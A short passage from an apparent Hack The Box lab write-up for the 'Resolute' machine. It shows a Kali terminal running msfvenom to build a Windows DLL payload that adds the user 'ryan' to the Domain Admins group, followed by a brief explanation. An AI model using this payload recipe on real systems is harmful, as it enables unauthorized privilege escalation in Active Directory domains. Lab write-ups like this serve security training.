msfvenom


┌──(kali㉿kali)-[~/archive/htb/labs/resolute]
└─$ msfvenom -p windows/x64/exec cmd='net group "domain admins" ryan /add /domain' -f dll -o pe.dll     
[-] no platform was selected, choosing msf::Module::Platform::Windows from the payload
[-] no arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
payload size: 311 bytes
final size of dll file: 8704 bytes
saved as: pe.dll

msfvenom generated a DLL payload Upon loading this DLL payload, the target system will execute the following command; net group "domain admins" ryan /add /domain This will results in adding the ryan user to the Domain Admins group.